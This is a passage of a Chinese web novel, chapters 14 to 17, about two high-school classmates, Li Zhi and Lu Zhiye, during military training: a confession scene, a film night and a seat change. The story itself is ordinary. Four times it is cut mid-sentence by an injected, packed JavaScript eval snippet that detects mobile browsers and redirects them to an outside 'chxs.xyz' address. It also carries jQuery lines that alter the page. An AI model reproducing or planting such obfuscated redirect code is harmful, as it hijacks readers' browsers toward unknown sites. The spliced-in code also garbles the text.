“举手之劳，而且我是班长，应该的。”陆之野挪开了视线，竟是在对视中败下阵来，不敢再看。 “对了，等军训结束我再拉你进群，现在也没手机。”陆之野突然道。 但下一秒，只见厉枝从口袋里掏出了个长方形的东西，不是手机是什么？ 陆之野沉默了一秒，也随即拿出了手机。 二人相视一笑，都有些忍俊不禁。 几秒后，二人加上了好友。 “虽然但是，还是等军训结束后再拉我吧，毕竟现在我们应该是没手机的状态。”厉枝见陆之野就要拉她进群，阻拦了下。 “也是。” 二人都双双赶紧把手机收了回去，还不忘看了眼周围有没有教官出没。 不远处传来鼓掌声，大概又是哪个班有精彩节目。 而这边，他们俩人就这么静静坐在一处人少的角落，看着操场的热闹。 明明周围都是喧嚣，且那个扰动心弦的人就坐在旁边，但厉枝却觉得，这是她来海城后，第一次心这么宁静。 “对了，昨天晚上你问的问题，还差第一个……”陆之野道。 他孤独得太久，所以总是偏爱在热闹的地方，所以才来者不拒，和谁都好像能成为朋友。 眼下这般的宁静，他总觉得该说点什么，于是便说了。 “不用了，我找到她了，有些事，还是得当事人说才好些。” 厉枝刚刚四处漫无目的看着，也在想着能不能找到温旎，结果还真被她找到了。 陆之野见她站起来，顺着她的视线看去，果然温旎就在不远处。 “我刚想说的就是，如果你们是朋友，那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829910|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该从她口中知道，而不是通过我。” 此时厉枝已经站起来，看着草地上的陆之野仰着头，她则低着头，二人的想法又是不谋而合。 “那我去了。”厉枝笑道。 陆之野勾了下唇，算是回应。 等人走后，他单手拿出手机，修长的手指握着，一甩，屏幕摆正，随即解锁，点进去刚刚新加企鹅好友的主页。 头像是一只狗的表情包，狗的脑袋上是一朵P上去的小花，看着就挺阳光开朗又可爱的头像。 见到这，陆之野无声笑了下。 这不巧了吗，这图片上的狗狗的品种是萨摩耶，而他家就养着一只。 个性签名——无 空间点进去——三日可见，也是什么都没有。 相册——无 留言……倒是还挺多的。 随意翻看了留言，大多是些互踩的串门的，但也有那么些个……暗戳戳说些土味情话的？ 看来某只小白兔以前也挺受欢迎的啊。 退出时，某黄钻用户还不忘反手把访客记录给删除了，做完这一切后，这才收起手机，往班上走去。 —— —— 厉枝小跑着追上了温旎。 刚刚不知道温旎去哪去了，此时才出现在1、2班附近。 “温旎，”厉枝喊住她，“我正找你呢。” 被喊住，见是厉枝，温旎惯常冷冰冰没什么表情的脸，此时柔和了几分。 “我刚刚随便走走，在你班上也没看到你。” 原来她们正好错过了吗，所以才没找到对方。厉枝想。 二人四处走走。 厉枝有些不知道该如何开口，却没想到，温旎自己先说了起来。 “我知道你有很多好奇的，不过……以前的事情我也不是很想说了，都过去了，你只需要知道，我现在挺好的，就可以了。” 温旎的声音带着一丝不易察觉的柔和，像是把自己最柔软的一面在厉枝面前展露无遗。 “好的，我知道啦。”厉枝露出了一个自认为最阳光的笑，温旎不想说，她就不问。 毕竟，温旎说的对，只要知道温旎现在是好好的，就好了，毕竟谁都有不想说的事，也没理由去揭人家伤疤。 “刚刚我去你们班的时候，看到有几个女生在跳舞，艺术班的人都这么多才多艺吗？”厉枝找了个话题。 “而且她们都好漂亮，当然当然，都比不上你。” “你怎么还和以前一样，小嘴这么甜。”温旎笑了笑。 以前厉枝和她不熟的时候，老是偷偷盯着她看，被她发现了又赶紧低下头，后来熟了，时不时喊她漂亮姐姐，跟在她屁股后面跑。 一晃，都过去许多年了，她们也都长大了。 厉枝抬手，想握住温旎的左手和她牵着。 温旎的左手手腕处戴着个手环，厉枝本没在意，但温旎的手却下意识往后退，这一退，反而是让厉枝注意到，挪开的手环下，有一道疤痕，不深不浅，横亘在手腕内侧。 那是能看到静脉血管的地方。 这一刻，厉枝忽然懂了陆之野那句话到底有什么分量—— “你就放心吧，这世上最在意她安危的人，大概也就顾泽恺了。” 原来所谓的安危，竟然只得是生命安危吗…… 15. 第 15 章 但，她只是装作没看到，毕竟大晚上的光线一般，而且她也只是眼尖才恰巧一眼撇到，她也可以是没看到的。 只是，心里却梗得有些难受。 温旎似乎也意识到自己的反应有些大，随即反手握住厉枝的手，只是同时不着痕迹将自己的左手手心朝下。 厉枝意识到了，便也顺水推舟，两人拉着手晃了晃。 “温旎啊温旎，”厉枝控制住自己的声音，让一切如常，“我有个瓜不知当不当吃。” “你和顾泽恺是不是……？” “嗯，我喜欢他。” 这瓜吃得这么直接，是厉枝没想到的，她没想到温旎这么爽快，这么不遮不掩。 哦对，人家留了两级，现在也满18了，大胆点怎么了。 真好，真羡慕。 “那他呢？” “他？”温旎苦笑了下，“他觉得我还小，其实也就差两三岁嘛，他觉得我分不清对他是喜欢还是依赖，所以，算是我单相思吧。” “但他好像也挺在乎你的……”厉枝有些不懂。 “在乎？大概路上有只猫，饥肠辘辘，而他手里恰好有一根火腿，喂了猫后，第二天再到同一个地方，他都会特地带食物，还会督促猫好好吃。他就是那样的人，善良，但也清醒。” 这番话，厉枝听得不是太懂，反正就觉得两个人奇奇怪怪的，明明都挺在意对方的，却又弄得很是别扭。 “你呢？别光说我了，你有没有什么情况？”温旎话头一变，眼神闪烁起吃瓜的色彩，“那个姓陆的？” “啊？陆之野吗？干嘛突然说起他，我跟他不熟。” 仔细算算，确实认识时间不长。 确实本该是还不熟的，可饶是如此，在她这，却好像是过了四季一般，心境风雨变化。 “没事，慢慢就熟了，他那样的人，当朋友应该不错，别的……还是不要多想了，把握不住的。” 厉枝本想问问，为什么这么说，但其实不必问也知道，陆之野那般众星捧月，喜欢他的人肯定多了去了，她又能排老几呢。 不，她应该是属于号都排不上的那种。 “害，我没有什么粉红少女心和各种幻想呢，我还是有自知之明的。”厉枝在笑，眼睛却没有笑意。 “不不不，小荔枝，不是这么说的，你也很棒，真的，只是，陆之野那样的人，即使是你们真的有可能，以你的性格，我怕你会内耗。” 这点，厉枝觉得温旎真的是一针见血。 她好像已经开始内耗了，好在刚刚发现一点苗头，她就及时打住。 “能做朋友也不错啦。”这话，厉枝是真心的。 都在一个班，每天抬头不见低头见的，能成为朋友，也不错了。 但……他们真的会成为朋友吗，真的会熟起来吗？ 今天这般和陆之野说开后，想来陆之野的“关照”应该也到头了吧，他没有责任和义务和她做朋友。 而且，军训后不是就要换座位了吗？那到时候不就更加没什么交流和接触了…… 走着走着，二人竟是又走到了昨晚的小树林边上。 路灯还是和昨天一样，暖黄又昏暗。 更巧的是，和昨天一样，相同的人影从对面路上走来。 是顾泽恺。 嗯……今天又是当电灯泡的一天呢。厉枝心里弱弱吐槽了下。 “那我先走了？” 相比昨天的怒气冲冲走路带风，今天的顾教官，似乎温和得多。 “别走，我给你表演个第99次表白，然后被拒。” 厉枝一脑袋问号，这是真的第99次，还是代指很多次的意思？ 总之，她就眼看着温旎大步流星往前走，那二人在她前面十多米的地方相遇，都停下了脚步。 虽然但是，厉枝还是默默往右后方走了走，往树边走去，试图降低自己的存在感。 “顾教官，真巧啊，又碰见了，你这是下班了？” “我是来找你的。” 震惊的不仅仅是躲在角落里吃瓜的厉枝，还有温旎本人。 “找我？找我做什么？” “表白。” 厉枝：“？？？” 温旎整个人都没反应过来：“你说什么？我没听错吧？” “今天晚上有个女生当众对我表白。” “so？”温旎还是没懂什么情况，只觉得面前的人肯定是吃错了药。 “我拒绝了，她问我是不是有喜欢的人，”顾泽恺顿了下，“那一瞬间，我下意识的反应，是你。” 都说，下意识的反应是最本能的反应，最能体现一个人内心的真实想法。 “我以前总说你分不清依赖和喜欢，”顾泽恺自嘲地笑了下，“分不清是不是喜欢的人，大概是我自己。” “温旎，我喜欢你，不知道什么时候开始，，总是担心你，牵挂你……我……” “但你对路边捡的流浪小猫小狗也是这样。” 温旎打断他，声音不像五分钟前和厉枝聊天时那般稳，震惊过后，是抑制的激动，却也不敢相信。 她的第99次表白，变成了被表白。 “但，我可不会对小猫小狗这样……” 下一秒，厉枝只见树边，在飞扬的树影上，顾泽恺吻住了温旎。 她惊呆了，彻底呆住了。 这到底是什么走向？！ 突然，面前一片黑暗，厉枝的心咯噔了下，反应过来是有人抬手捂住了她的眼睛，对光的依赖和下意识的抗拒反应，使得她抬手去抓那只罪魁祸手， “未成年人谨慎观看哦。”耳边，传来一道声音，带着些许笑意。 是陆之野。 他话音落时，厉枝的右手刚刚好扒拉上陆之野的左手，她的手心覆在他的手背上，她的无名指正好卡在了他虎口的位置。 那一瞬间，厉枝隐约能感受到，他左手虎口处的脉动，连着他的心跳。 是平稳而规律的。 像是被烫到一样，厉枝赶紧收回了手。 而那只手还遮在她的眼前，轻轻盖住她的双眼，她一动不敢动，眼睛紧紧闭着，也不敢动分毫，怕自己的睫毛触到他的掌心。 “我不看，你手放下。”厉枝说道。 那只手依言放下，那横亘在眼前的温度骤然消失，竟让她莫名有几分失落之感。 厉枝缓缓睁开眼睛，视线所及，已经看不到那两人了。 转头，厉枝看着陆之野。 “你怎么在这？又巡逻？还有，刚刚捂住我的眼睛，那你自己呢？” 女生说话语速有些快，质问的语气像是只有些暴躁的小白兔，尤其是那睁大的圆眼和微皱的眉头。 男生垂眸看着她，像是在观赏一般，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829911|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻回答，就这么看了得有一两秒，嘴角则噙着一丝若有似无的笑意。 “我来找你啊。”他的笑还挂在嘴角，若隐若现。 心被不轻不重敲了下似的，脑海里又回响起刚刚顾泽恺对温旎那句“我是来找你的”。 “找我有什么事？”厉枝道，声音却是弱了几分下来。 相似的问，相似的答，不同的人。 她，为什么有点期待？ 可她知道，不可能的。 只见陆之野转身就走，转身的时候对着厉枝歪了下头，显然是要她也一块走的意思。 厉枝只得赶紧跟上。 “刚教官说今天值日的人要调班，所以让我们顶上，我答应了，顺带帮你也答应了。” 男生一手拿着手电筒在地面晃悠，一手大拇指微微勾在口袋边，迈步随性，走得和白天里被教官夸标准的正步截然不同。 “不好意思啊，没来得及和你商量，不过，我觉得相比别的班的陌生人，和我们几个一起应该更好些？”陆之野转头，往后看了眼。 女生就一直跟在她身后，微微低着头走，看着地面，也不知道在想什么。 他刚想抬手在她眼前招呼下，以为她在出神，但随即就听到厉枝的声音。 她说：“我没问题，挺好的。” 男生抬起的手又不着痕迹落下，二人继续一前一后走着。 看着陆之野的背影，厉枝自嘲地无声笑了下。 果然，她就知道是不可能的，还好她没多想。 脑海中，顾泽恺和温旎的大胆表白还萦绕着，她有点佩服温旎的勇气和毅力，不管是不是真的第99次，那想必也是不在少数才成功。 一份感情能得到回应，是多么难得啊。 而她的性格，大概是，如果明知道一件事情百分之九十九的概率会失败，那她便不会愿意去尝试。 她不喜欢孤注一掷、没有把握的感觉。 正如温旎对陆之野的评价——当朋友不错，但其他的……是把握不住的。 走神了片刻，一不小心，没注意面前的人停下了脚步，厉枝的额头撞到了陆之野的背。 “抱歉……” “想什么呢想得那么出神？不会还在想刚刚少儿不宜的画面吧。” 男生像是逗弄似的，用手电筒从下往上照，作出一副吓人的模样，可惜即使配上他那张没什么表情的脸，也没让人觉得可怕。 甚至有点子幼稚。 “我才没想那些。”厉枝无语。 “那你在想什么？” “没想什么，困了，发呆。” 后面，二人再无对话。 与林曼、徐佳航二人会和后，厉枝除了打个招呼外，更是没主动说过一句，毕竟她自知她本就不属于他们三人组。 她知道陆之野是可以和谁都能玩得来的性子，不然他也不会认识那么多人、有那么多朋友。 但她也知道，陆之野也并不是个会主动去贴别人的性子，毕竟在三人组的时候，他总是话最少的那一个，只是时不时回应下，或偶尔无聊才起意逗弄下。 所以，在只有他们二人的时候，当她冷场、给不出有意思的回应时，即使是有着“关照”之名的他，也会觉得索然无味然后停止输出。 他对热情来者不拒，而她，对热情避之不及。 这就是他们最大的区别。 16. 第 16 章 军训的日子，好像一眨眼就过了一半。 这天晚上训练结束后，教官们组织同学们集体观看电影，是一部讲述家国情怀的电影。 因为场地大小有限，这次的观看，是分两批进行。大家以班级为单位，在大堂落座。 为了避免大家争抢位置，教官一刀切地，让每个班在各自划定的区域，按照教室座位坐着。 15班的区域在后排，厉枝和陆之野又是班上的最后排，如此一来，他们几乎是坐在了大堂的最后，只差最后空着的一排，就是后墙。 而且，他们的左右紧挨着的位置都没有人。 在教室里时，他们一桌本就是单出来的一桌，两个打隔壁的班里，也有的有一两桌单出来，但此番落座后，没有和他们直接挨着，最近的，也隔了四个空位。 就这么，厉枝的右边，就是陆之野。 他们的后面和左右相邻处，都没有人。 看电影时，厉枝偏爱的便是小电影厅的最后一排，有种在最高、最远处俯瞰的辽阔感、全局感，且背后不会再有视线，便更自在些。 可现在明明也是差不多的场景，厉枝却不觉得有多自在，反而觉得有些尴尬。 他们在大家看不到的最后，坐在相邻的位置，臂肘间的距离也不过三四十厘米。 有种大庭广众之下的隐秘感。 大堂虽然人多，但在电影片头亮起后，都陆陆续续安静了下来。 他们俩也没有讲话。 越后排的人普遍落座越晚，从他们二人坐下后，到电影开始放映，算起来也不过才几分钟。 几分钟说长不长说短不短，但讲几句话也是足够的，只是那夜巡逻后，这几天里，他们都很少讲话，一是也没有什么面对面的机会，二是，即使像现在这般有了机会，好像也没有说话的契机。 没人做那个第一个开口的人。 余光里，陆之野只是静静靠在椅背上，头好像微微歪了点，大概是他最舒适的坐姿，正望着大堂最前面的大屏幕。 专心看电影吧。厉枝心想。 - 当沉浸在一个故事里的时候，时间总是过得很快，恍然间，已经跟着电影的讲述行进到了故事的高/潮。 看着电影里感人的剧情，厉枝没忍住眼眶湿润。 没一会儿，泪水潸然落下。 她的哭是无声无息的。 当泪水顺着脸颊滑落，又汇聚在下颌滴落时，厉枝抬手，用手背拭去那还带着体温的泪水。 微弱光线下，这个微不足道的动作好像也被旁边的人眼尖捕捉到，厉枝忽然察觉到余光里一直安安静静看着电影的人，似乎是动了下。 像是头朝她转了过来。 刚擦完眼泪的手此时还半悬在身前，厉枝便不着痕迹往回收了收，同时头微微低下，短发便配合地往前耷拉下，挡住了她的脸。 第一次感觉到，短发原来也有某些奇奇怪怪的好处。 后面的几秒，旁边的人又没有动静了，似乎他并没有注意到她这的情况，刚刚的动作也不过是微微调整了下坐姿。 是她太敏感了吧。 等到这段电影剧情结束，大概是过了几分钟的样子，此时，厉枝的脸上又多了几道泪痕。 鼻子也有些塞，她轻轻缩了下，不可避免地发出了些许声音。 “给。” 沉默了大半个晚上，终于是有人第一个开口，不过这也着实算不上聊天，不过是举手之劳的帮助。 陆之野左手伸到了她的面前，手里是一包纸巾，捏在他大拇指与食指关节之间。 而更让厉枝注意到的是，陆之野左手虎口处的那一道蜿蜒而过的青筋。 此时，黑暗中，那青筋在有力地脉动着，一突一突的，就像心跳。 原来，那晚她指尖触碰到的青筋长这样。 那时慌乱间也没太多感受，只是觉得有些烫手，只是有个模糊的认识，但也没这般近距离看过。 她从未见过虎口有青筋凸起着经过，且凸起得如此恰到好处的手，这样的手，格外性感好看。 “谢谢。” 厉枝回过神来，道谢接过纸巾，却也没转头往陆之野那边看，她现在满脸是泪的模样肯定很不好看。 抽了张出来，飞快擦了脸，又尽可能小声地擤了下鼻涕。 感觉缓过来了。 接过纸巾后，厉枝便没再去注意陆之野的手是什么时候收回去的，只知道等她重新将视线落回到电影上时，余光里的陆之野还是和之前一个多小时里一样安静坐着，就好像刚刚递纸的压根不是他。 “纸还你。” 厉枝扭头，看向陆之野，手里的纸巾朝他递去。 男生此时缓缓将视线向左边转来，落在厉枝脸上，二人视线对上。 这是今晚坐在一起这么久后，第一次对上视线。 电影的画面变化，相对亮堂了起来，大堂里光线不算特别昏暗，即使在最后一排，也足够他们看清彼此的脸。 这一刻，厉枝保持着递回纸巾的动作，陆之野却没有立刻接过。 他的眼里，此时仿佛只剩下一只哭红了眼的小白兔，眼睛和鼻尖都红红的，一双圆眼似乎还泛着泪，楚楚可怜。 心里某处好像动了下。 “…你拿着吧。”万一待会儿还要用呢。 陆之野神色有些不自然地微微撇过视线，不再看着厉枝的那双眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829912|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他没怎么见过女孩子哭，就算见过，好像也能轻而易举哄好。 就像他家一个表妹宋瓷，长得倒是文文静静的，但小时候也有过皮的时候，第一次见到他家萨摩耶时，说要骑狗，直直就往人家狗背上跨，萨摩耶自然不依，结果人摔了，哭得不要不要的。 那时候，他好像是……给了颗糖来着，又拉着她摸了摸萨摩耶的头，一人一狗算是和解，小姑娘就不哭了，后面也知道那不能骑，老老实实和萨摩耶玩。 又像林曼，以前好像是因为有次被突然飞到脸上的虫子给吓哭了，他和徐佳航把虫给赶跑，又拉着哭啼啼的林曼找了个水龙头，洗了几遍脸，反正虫的痕迹是洗得半点不剩，泪水估计也洗干净了，擦了脸后是没哭了的。 再后来长大些，好像也就没怎么见过女孩子哭了。 或许有那么几个吧，在对方对他表白被拒后。 明明是同样的礼貌拒绝，被拒绝的人反应却各不相同。 有的人被他拒绝后，会大大方方说继续做朋友，有的人则大概是觉得难为情，转身飞快离开，还有的极个别的，当场就当着他的面掉眼泪。 但他自认已经足够礼貌了，而且也从来没有对对方明示暗示过什么，所以也不是很能理解女生的哭点。 就像彩票一样，总有中和不中，在刮之前，就该有心里预设不是吗，谁说表白一定就会成功呢。 而且那种情况，即使于心不忍，他也压根不好安慰人家，毕竟前脚刚拒绝，后脚人家哭就安慰，那不是自相矛盾，反而给了人幻想吗。 便只能是转身离开。 再后来，他学聪明了，拒绝后，自己当那个先转身离开的人。 总之……脑海里搜刮了一遍包含“女生”、“哭”等关键词的情景，但很快，陆之野有些沮丧地发现，他还是不知道此时该说些什么。 好像除了正好有包纸可以给出之外，也没什么能做的了。 况且，现下是看电影的场景，也不是个人情绪上因为遭遇什么而难过落泪，而是被电影讲述的故事感动，更是找不到合适的安慰说辞。 在演讲台或是辩论赛时都能滔滔不绝，此时竟是连句合时宜的话都想不到。 你可真是够菜的。陆之野在心里自嘲道。 “反正当时你给我了一包纸巾擦汗，就当还你的。”最终，他憋出了这么一句。 这一刻，他前所未有的，一点都不想再看见女生哭。 不会哄，根本不会哄。 “好吧，谢谢。”厉枝收回了手，同时也转开了视线，继续看着大屏幕。 光线又暗了几分，黑暗中，陆之野侧眸看着旁边的女生，心里悄悄松了口气，没来由的。 17. 第 17 章 —— —— 军训的日子过起来说快不快，说慢不慢，一周竟是就这么过去了。 每个人都或多或少晒黑了些，流淌了许许多多汗水后，大家所收获的，相信也不仅仅是整齐的正步走、快速叠好豆腐块被子、强身健体的军体拳动作…… 回学校的那个下午，大家与教官告别，虽然一方面是觉得军训终于结束，终于不用受苦受累受太阳晒，但不少人都难免又有些依依不舍。 毕竟，人一辈子，军训的机会可能最多也就那么两三回。 寝室里的东西都被收拾干净，被子最后叠成了豆腐块，整整齐齐放着，之前交上去的东西也都一一还了回来。 军训真的结束了。 - 回去的车上，厉枝又坐在了第一排。 这次，她排队上车时其实并没在前面，但陆之野是第一个上车的。 等到她上车时，陆之野正坐在老位置，而他左边那个靠窗的位置，是空着的。 另一边，也是老样子，申玮坐在靠门那侧的第一排，一切都好像和来时一样。 但有些什么，却好像默默不一样了。 “晕车的坐前排。”陆之野站起身，把位置让了出来，自己则往后排走去。 看着陆之野的背影，厉枝没再多说什么，坐在了老位置。 这次，坐在她右边的人，不再是陆之野，而是林曼。 大概是这几天太辛苦了，厉枝上车后不久便睡着了，甚至做了一个梦，薄荷味的梦。 下车时，嘴里含着的薄荷糖也差不多融化到了尽头。 到学校也才下午，还没到放学时间，所有人回了教室。 班主任站在讲台上，笑意盈盈看着教室里的同学们。 “怎么样？军训一礼拜，大家有什么感悟？每个人写一篇心得体会，800字以上，明天下午之前交上来。” 班上哀嚎一片。 厉枝坐在座位上，则已经拿起笔开始写。 反正现在闲着也是闲着，军训的那几天里她粗略做了些日记形式的记录，本就打算回头她妈妈问起来的时候当做报告交了，正好在之前的基础上扩充下再改改，800字就有了。 “行了，800字而已，别的班还有军训之前就说了每天一篇日记的呢，我都觉得便宜你们了。”这话一出，没人再抱怨了。 “那趁着还有时间，我们先换座位，然后选班干。”班主任说道。 写字的手突然顿了下，厉枝握着笔的手紧了紧，下意识地想去看旁边的陆之野，想看看他是什么反应，又或许只是想再趁机多看几眼。 明目张胆看他的机会总是很少，但原本是悄悄侧眸就能看到，之后，怕是更没机会了。 换座位的这天，终归还是来了吗…… 厉枝放下笔，默默等待着未知的结局，心里有种无法形容的滋味。 —— —— “咱们看看是按身高顺序来排呢，还是说大家觉得现在这样的座位也不错？就小部分觉得现在座位不合适的同学换换就是？” 班主任环视着教室里的同学们，显然是在思考。 虽然刘英的外貌打扮什么的看着都挺一本正经的，但在短短的接触下来，厉枝觉得，这位班主任还挺民主的，而且好像本性多多少少是有点佛系的。 就像她会在选出临时班长后会完全放心交给学生去负责一些事情，就像现在。 看她这样子，好像是偏向于后者。 “你们当时开学的时候，同桌大多都是自己选的吧？那会不会关系好就上课讲小话啊？”刘英笑道，看着教室里大多数人都是不愿意换座位的神情，笑得了然。 “不会啊老师，当然不会！” “那必然不会！” “就算不熟的那不过几天也熟了嘛，所以没差呀老师。” 同学们七嘴八舌。 “行吧，你们也都是尖子生，相信也都是比较自律的，我百分百相信你们。” 讲台下，细细密密的暗自庆幸声和欢喜的声音传出。 “但是呢……” 全场秒变鸦雀无声。 刘英笑了下，说道：“要是后面被我发现或者有别的老师反馈，说我们班上纪律不行，那到时候我可是没这么仁慈了哦。” “那现在想换座位的同学还是可以换的哈，毕竟教室是学习的地方，也不是和朋友聊天的地方，首先要能保证都能看到黑板，不影响听课。” 老师话还未落，有大概四分之一的同学举起了手。 厉枝的手动了下，却忽然感觉到自己校服短袖的袖口处被轻轻拉了下，很轻，随后很快就松开了，但这么轻轻一拉的动作，在她心里却好像是被挠了一下似的，一种触电般的酥麻感席卷全身。 陆之野拉了她一下。 “你要换座位吗。” 厉枝转眸，望进了陆之野那宛如平静湖面般的眼眸，忽然就好像沉溺了进去。 其实她还挺喜欢最后一排的，单人单桌的最后一排更好。 至于看黑板这事，看倒也看得到，没太大影响，接近160的个子也不至于矮到要坐前面一二排才行，而且她不近视。 实在有部分被挡住，站起来看黑板也未尝不可。 以前她也坐过最后一排一段时间，是在中考前。 那时候上课容易困，就跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829913|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师申请到最后一排了，困了便可以站着听，就不会睡着了。 而且同样是窗户边的位置，学习累了，只要一扭头，就能看看风景绿植，放松放松。 所以，要换座位吗？ 所有的思绪在望进陆之野的那双眼眸时，纷飞过脑海的每个角落。 她本来在一个星期多之前，是过换座位的打算不是吗，想要与陆之野远些。 可是，转念一想，因为陆之野而产生的一些波动心态，经过这么几天的沉淀后，也已经差不多放平了，所以，真的有必要为了自己的懦弱逃避而放弃自己喜欢的座位吗。 那样是不是显得自己像个逃兵？ 这一次，她还要再一次落荒而逃吗？ 其实，刚刚老师说想换座位的同学举手时，她手动了是动了，但并没有最终决定好。 但现在，她决定好了。 “我……” “要不别换了。” 见厉枝有那么一两秒都没开口，陆之野下意识觉得她是打算换的，只是在斟酌怎么当着他的面说出口。 于是，在厉枝刚要开口的瞬间，他自己也不知道怎么了，抢了她的话，抢在她前面说完这么一句—— 要不别换了。 “当然，决定权在你，毕竟不能因为座位而影响学习。”陆之野找补了句。 他的眼神忽闪了几下，不再直视厉枝，却又来来回回还是落在厉枝脸上，没错过她的表情。 面上面无表情，心里却是有几分难得的紧张，他上台演讲的时候都没现在这般紧张，可他自己也不懂为什么。 他听过一个说法，养成一个习惯只需要一个礼拜，而从他和厉枝成为同桌后，已经过去了一个多礼拜。 习惯已然养成，所以自然而然的，便不太愿意打破习惯了吧…… 应该是这么回事吧。 “想要换座位的同学，都统一站到教室后排的空地那去一下哈，我待会儿来看看怎么排。”班主任稍微数了数人数后，又说道。 话落，是椅子挪动的声音，是一些同学稀稀拉拉迈步往后的声音，这声音，像是模糊不清的倒计时，在进行着某种倒数。 此时，他们右后方两三步的距离，已经站了越来越多同学，老师也再次催促要换座位的同学赶紧起身。 “快一点，别拖拖拉拉的，怎么还舍不得换不是？这才坐了几天？” 班主任的发话像是最后一道响起的钟声，震耳欲聋，无法忽视，厉枝只觉得自己心跳加速。 二人之间的局势也好像因此而变得更加紧张了几分，陆之野并无太多表情，嘴唇微抿，却是直直看着厉枝。 他在等着她的决定。